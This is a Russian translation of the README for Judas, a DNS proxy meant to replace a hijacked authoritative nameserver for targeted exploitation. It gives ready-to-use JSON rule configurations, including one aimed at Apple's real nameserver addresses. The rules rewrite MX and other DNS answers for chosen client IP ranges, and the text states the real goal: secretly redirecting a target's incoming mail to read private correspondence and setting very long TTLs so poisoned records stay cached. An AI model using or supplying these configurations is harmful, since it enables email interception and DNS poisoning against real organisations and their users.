
Атаки отравления DNS на серверах имен стали простыми
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Атаки отравления DNS-серверов имён — проще некуда
Прокси-сервер DNS, предназначенный для развертывания вместо захваченного сервера имён с целью целевой эксплуатации. Judas работает, проксируя все DNS-запросы к легитимным серверам имён домена. Магия заключается в конфигурациях правил Judas, которые позволяют изменять DNS-ответы в зависимости от IP-адреса источника или типа DNS-запроса. Это позволяет атакующему настроить вредоносный сервер имён для таких действий, как выборочное перенаправление входящей электронной почты от определённых диапазонов IP-адресов (через изменённые MX-записи), установка чрезвычайно длинных TTL для сохранения отравленных записей в кеше и многое другое.
Дополнительная информация о захвате серверов имён и перехвате DNS приведена в статье блога под названием "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".
Ниже приведён пример конфигурации Judas для сценария, в котором атакующий скомпрометировал/захватил один из авторитетных серверов имён Apple (для apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Тайно перенаправлять все письма, приходящие с 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Назначение каждого значения конфигурации:
version: Версия формата файла конфигурации (пока всегда 1.0.0).port: Порт, на котором должен работать Judas.dns_query_timeout: Время ожидания в миллисекундах перед отказом от ответа вышестоящего целевого сервера имён.target_nameservers: Легитимные сервера имён для целевого домена. Все DNS-запросы будут отправляться от Judas на эти сервера от имени всех запрашивающих клиентов.rules: Список правил с модификациями DNS-ответа, применяемыми при совпадении.
name: Имя данного правила.query_type_matches: Список типов запросов для сопоставления, например CNAME, A и т.д. Можно также указать символ подстановки (*) для любого типа.ip_range_matches: Список диапазонов IP для сопоставления. Для выборочной подмены ответов для определённого диапазона IP-адресов.Правила Judas содержат спецификацию modifications, которая представляет собой список различных изменений, вносимых в DNS-ответ перед его отправкой обратно клиенту. Важно ознакомиться с node-dns документацией, чтобы понять структуру DNS-ответа и иметь возможность её изменять.
Пример формата DNS-ответа:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...сокращено для краткости...
(Дополнительную информацию о структуре данных DNS-ответа см. в этой документации.)
Написание модификации очень простое. Пример правила с модификацией приведён ниже:
{
"name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Это правило соответствует любому типу запроса (благодаря символу подстановки (*)) и устанавливает значение header.rcode DNS-ответа равным 0. Любой объект, указанный в качестве элемента модификации, объединяется с DNS-ответом, заменяя исходное значение.
Другой пример:
{
"name": "Тайно перенаправлять все письма, приходящие с 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
Это правило срабатывает на любой MX-запрос с 127.0.0.1. Ответ DNS заменяется одной MX-записью для hacktheplace.localhost. Реальный сценарий применения — перенаправление входящих писем от определённого IP с целью чтения приватной переписки цели. Кроме того, в реальных условиях атакующий может также изменить TTL ответа на очень большое значение, чтобы его вредоносные записи как можно дольше сохранялись в DNS-кешах клиентов.
Следующее правило будет срабатывать на IP-адрес клиента:
{
"name": "Во всех ответах, запрошенных с localhost (127.0.0.1), устанавливать NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Поле ip_range_matches задаётся в виде массива диапазонов IP, определяющих целевые диапазоны для применения модификации ответа. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем IP-адресам клиентов.
Следующее правило будет срабатывать на типы запросов MX и CNAME и соответственно применять модификацию ответа:
{
"name": "Во всех ответах устанавливать NOERROR, даже если произошла ошибка.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Поле query_type_matches задаётся в виде массива типов запросов для сопоставления. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем типам запросов.
Следующее правило будет срабатывать на код ответа NXDOMAIN и применять соответствующую модификацию ответа:
{
"name": "Во всех ответах, запрошенных с localhost (127.0.0.1), устанавливать NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Поле response_code_matches задаётся в виде массива кодов ответа для сопоставления. Отсутствие этого поля эквивалентно символу подстановки и соответствует всем типам RCODE.
modifications: См. раздел «Модификации» этого README.